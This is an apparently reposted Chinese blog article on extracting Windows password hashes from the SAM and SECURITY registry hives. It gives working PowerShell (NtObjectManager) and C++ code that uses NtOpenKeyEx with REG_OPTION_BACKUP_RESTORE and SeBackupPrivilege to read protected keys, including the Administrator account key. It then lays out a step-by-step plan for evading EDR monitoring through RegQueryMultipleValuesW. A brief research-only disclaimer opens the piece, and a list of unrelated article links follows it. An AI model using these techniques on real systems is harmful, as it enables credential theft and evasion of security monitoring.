当前位置: 首页 > news >正文

Windows凭据窃取技术:从SAM数据库提取密码哈希

Windows凭据窃取技术:从SAM数据库提取密码哈希

说明:本文档基于公开研究资料整理,内容仅供技术研究和防御参考。

问题根源:LSA与凭据存储

Windows系统的凭据管理由本地安全机构(LSA)负责,具体由lsass.exe进程维护。该进程在内存中管理两个关键数据库,对应磁盘上两个受保护的注册表配置单元(Registry Hive):

数据库注册表路径功能说明
SAM数据库HKLM\SAM\SAM\存储本机用户、组账户和密码哈希值
安全数据库HKLM\SECURITY\管理域凭据、林凭据、LSA secrets等其他系统密钥

核心问题

这两个配置单元没有公开的明文API可直接获取密码。要读取SAM和SECURITY配置单元,传统方法需要:

  1. 备份注册表配置单元- 通过reg save或类似工具导出

    • 缺点:会在磁盘留下痕迹,大多数EDR会监控此操作
    • 配置单元内容经过SYSKEY加密存储
    • 解密所需的关键信息隐藏在SYSTEM配置单元的LSA secrets中
  2. 需要SYSTEM级别权限- 常规操作需要管理员完整权限


EDR检测机制:内核回调钩子

内核态回调例程

现代EDR(Endpoint Detection and Response)产品的核心检测机制基于Windows内核回调:

  • CmRegisterCallbackEx:Windows内核提供的注册表回调注册函数
  • 当注册表操作发生时,内核会通知EDR驱动

回调通知内容

每次注册表被访问时,EDR收到两个关键信息:

信息类型描述
操作类型RegEnumKeyRegQueryValue等具体操作
上下文数据完整注册表路径、调用者访问权限、时间戳等

EDR的监控限制

Windows系统每分钟产生数千万次注册表操作,不可能全部监控。因此EDR采用:

  • 路径过滤:仅监控高危路径(HKLM\SAMHKLM\SECURITY等)
  • 事件过滤:仅关注真正具有安全威胁的操作类型
  • 这就产生了绕过空间

绕过方案:利用原生API的备份Restore标志

James Forshaw的NtObjectManager

NtObjectManager 是James Forshaw开发的PowerShell模块,提供了与NT对象管理器命名空间交互的能力,允许:

  • 探索内核对象
  • 操作安全描述符
  • 执行高级系统级操作

核心API:NtOpenKeyEx

NtObjectManager模块封装了底层的原生API,其中最关键的是NtOpenKeyEx

NTSTATUSNtOpenKeyEx(PHANDLE KeyHandle,// 指向句柄的指针ACCESS_MASK DesiredAccess,// 访问掩码(如KEY_READ)POBJECT_ATTRIBUTES ObjectAttributes,// 对象属性结构ULONG OpenOptions// 打开选项标志);
关键参数:OpenOptions
标志值描述
REG_OPTION_VOLATILE创建易失性键,系统重启后消失
REG_OPTION_BACKUP_RESTORE允许绕过DACL检查
REG_OPTION_OPEN_LINK打开符号链接本身
REG_OPTION_CREATE_LINK创建符号链接
REG_OPTION_BACKUP_RESTORE的核心机制

当此标志与以下权限结合时:

  • SeBackupPrivilege- 备份权限
  • SeRestorePrivilege- 恢复权限

功能:绕过访问控制列表(DACL)检查,允许访问普通管理员无权访问的系统注册表键

重要说明

  • 并非完全绕过所有权限检查
  • 如果键配置了系统访问控制列表(SACL)审计,所有访问仍会被记录

相关API对照

API类型函数名说明
Native APINtOpenKeyEx/ZwOpenKeyEx同一系统服务的两个名称,用户模式下功能相同
Native APINtCreateKey创建新键或打开已存在的键
Win32 APIRegOpenKeyEx高级封装,绕过API钩子能力较弱

提示:使用原生API可以进行更精细的控制,也更容易避开EDR的API钩子(Hook)。


实战:PowerShell实现无文件访问

方法一:使用NtObjectManager模块

# 导入 NtObjectManager 模块Import-ModuleNtObjectManager# 为当前PowerShell会话启用 SeBackupPrivilege 权限# 注意:此操作需要管理员权限Set-NtTokenPrivilegeSeBackupPrivilege# 创建指向注册表命名空间的PSDrive,启用备份权限New-PSDrive-Name HKLM_BACKUP-PSProvider NtObjectManager-Root NtKey:\-EnableBackupPrivilege# 现在可以像访问普通注册表一样读取受保护键Get-ChildItemHKLM_BACKUP:\SAMGet-ItemHKLM_BACKUP:\SAM\SAM\Domains\Account\Users\000001F4

方法二:直接调用原生API(C++)

// 完整示例:使用NtOpenKeyEx读取SAM配置单元#include<windows.h>#include<winternl.h>typedefNTSTATUS(NTAPI*pNtOpenKeyEx)(PHANDLE KeyHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,ULONG OpenOptions);// 定义OBJECT_ATTRIBUTES初始化宏#defineInitializeObjectAttributes(p,n,a,r,s){\(p)->Length=sizeof(OBJECT_ATTRIBUTES);\(p)->RootDirectory=r;\(p)->ObjectName=n;\(p)->Attributes=a;\(p)->SecurityDescriptor=s;\(p)->SecurityQualityOfService=NULL;\}intmain(){// 加载ntdll.dll并获取NtOpenKeyEx函数地址HMODULE hNtdll=GetModuleHandleW(L"ntdll.dll");pNtOpenKeyEx NtOpenKeyEx=(pNtOpenKeyEx)GetProcAddress(hNtdll,"NtOpenKeyEx");HANDLE hKey=NULL;UNICODE_STRING keyPath;OBJECT_ATTRIBUTES objAttr;// 初始化要打开的注册表键路径RtlInitUnicodeString(&keyPath,L"\\Registry\\Machine\\SAM");InitializeObjectAttributes(&objAttr,&keyPath,OBJ_CASE_INSENSITIVE,NULL,NULL);// 调用NtOpenKeyEx,使用REG_OPTION_BACKUP_RESTORE标志NTSTATUS status=NtOpenKeyEx(&hKey,KEY_READ,&objAttr,REG_OPTION_BACKUP_RESTORE// 关键标志);if(NT_SUCCESS(status)){wprintf(L"Successfully opened SAM key\n");CloseHandle(hKey);}else{wprintf(L"Failed to open key. Status: 0x%08X\n",status);}return0;}

检测躲避:利用非常规API

问题分析

即使使用REG_OPTION_BACKUP_RESTORE绕过了访问控制,EDR仍会监控敏感注册表路径访问。常见被监控的API包括:

  • RegQueryValueExW- 注册表值查询
  • RegEnumValue- 注册表值枚举
  • RegOpenKeyEx- 注册表键打开

解决方案:RegQueryMultipleValuesW

此API设计用于批量读取注册表值,触发条件与单值查询API不同,EDR对其监控较少:

LSTATUSRegQueryMultipleValuesW(HKEY hKey,// 由RegOpenKeyEx/NtOpenKeyEx返回的句柄PVALENTW val_list,// 待获取值的数组描述DWORD num_vals,// val_list中的元素数量LPWSTR lpValueBuf,// 接收数据的缓冲区LPDWORD ldwTotsize// 输入:缓冲区大小;输出:返回的字节数);
使用策略
// 读取单个值的示例VALENTW valEntry={0};WCHAR valueName[]=L"DefaultPassword";LPWSTR buffer=malloc(4096);DWORD bufferSize=4096;valEntry.ve_valuename=valueName;valEntry.ve_valuelen=wcslen(valueName)*sizeof(WCHAR);DWORD numValues=1;LSTATUS status=RegQueryMultipleValuesW(hKey,&valEntry,1,buffer,&bufferSize);// 返回后,valEntry.ve_type、ve_valuelen被填充// 实际数据在buffer中
完整绕过策略
1. 使用 NtOpenKeyEx + REG_OPTION_BACKUP_RESTORE 获取句柄 2. 使用 RegQueryMultipleValuesW 读取数据 3. 避开EDR对RegQueryValueExW等常规API的监控

总结:技术要点

技术要点说明
LSA存储SAM和SECURITY配置单元存储系统凭据
EDR限制无法监控所有注册表操作,只能监控高危路径和API
绕过方法NtOpenKeyEx + REG_OPTION_BACKUP_RESTORE
无文件化不在磁盘留下备份文件
最小权限只需管理员+SeBackupPrivilege
API选择RegQueryMultipleValuesW避免触发EDR监控

参考文献

  • James Forshaw, NtObjectManager: https://github.com/googleprojectzero/NtObjectManager
  • Microsoft Docs: CmRegisterCallbackEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/cmregistercallbackex
  • REG_OPTION_BACKUP_RESTORE: https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw
http://www.rkmt.cn/news/1431111.html

相关文章:

  • 2026服表培训高评价机构判定:导演培训、戏剧表演培训、配音培训、中日双语播音培训、创尚双语播音怎么样、创尚怎么样选择指南 - 优质品牌商家
  • 别再只用XGBoost了!LightGBM实战调参保姆级指南(附Python代码)
  • 重庆洋酒回收机构排行:重庆红酒回收/重庆老酒回收/重庆茅台酒上门回收/重庆茅台酒回收/2026年靠谱选择推荐 - 优质品牌商家
  • 给洪水预报‘纠偏’:手把手教你用Python实现数值降雨预报的线性缩放(LS)与分位数映射(QM)校正
  • 从‘搞死主机’到‘一次成功’:我的Linux硬盘挂载血泪史与终极UUID配置指南
  • Acer老本装Ubuntu 20.04,WiFi驱动死活不认?我靠这几步终于搞定(附NetworkManager急救法)
  • 6款精品降AI率平台 改写实力出众
  • 别再死记硬背了!用OpenCV+Python搞定相机标定,从棋盘格到内参矩阵的保姆级实战
  • 2026年Q2内墙涂料珍珠泥实测评测:混凝土外加剂、渗透结晶防水材料、纳米抗裂减渗剂、聚丙烯抗裂纤维、自愈合抑温防水材料选择指南 - 优质品牌商家
  • TimeMixer终极指南:如何用MLP架构实现多尺度时间序列预测的3大突破
  • 2026年必看!匹克球运动装供应商口碑推荐榜单新鲜出炉
  • WENO-L方法在双马赫反射问题中的应用与优化
  • 别再乱用yum clean all了!保姆级教程教你正确管理CentOS/RHEL的yum缓存(附磁盘空间清理实战)
  • AI科技热点日报 | 2026年5月30日
  • Claude Code 从零到上手指南:国产工具链复现80% Agent能力,DeepSeek+LangChain实战
  • 基于小程序的大学生竞赛管理系统毕设
  • Unity材质球大合集
  • 3个核心特性揭秘:Scarab如何重塑空洞骑士模组管理体验
  • 从入门到精通:PyBaMM电池建模实战指南与性能优化技巧
  • 子图同构问题的表格化并行解法Δ-Motif解析
  • 告别网盘限速:九大主流网盘直链下载助手使用全攻略
  • Android FBE密钥存储与生命周期全解析
  • 2026年Q2山东出国工作市场深度解析:如何选择可靠的服务合作伙伴 - 2026年企业资讯
  • LangChain 完全入门指南:从零搭建大模型应用
  • 手把手解决Ubuntu 20.04/22.04上Isaac Gym的Segmentation fault (core dumped):从vulkan库安装到prime-select避坑指南
  • 【Go实战】百万级并发不崩盘!用Worker Pool和Context驯服你的Goroutine
  • OnmyojiAutoScript每日领黑蛋功能深度解析:从异常诊断到架构优化实战
  • ARM TrustZone与TEE:Android安全基石深度解析
  • 2026年Q2特殊不锈钢管厂家选型核心技术维度解析 - 优质品牌商家
  • C语言学习心得2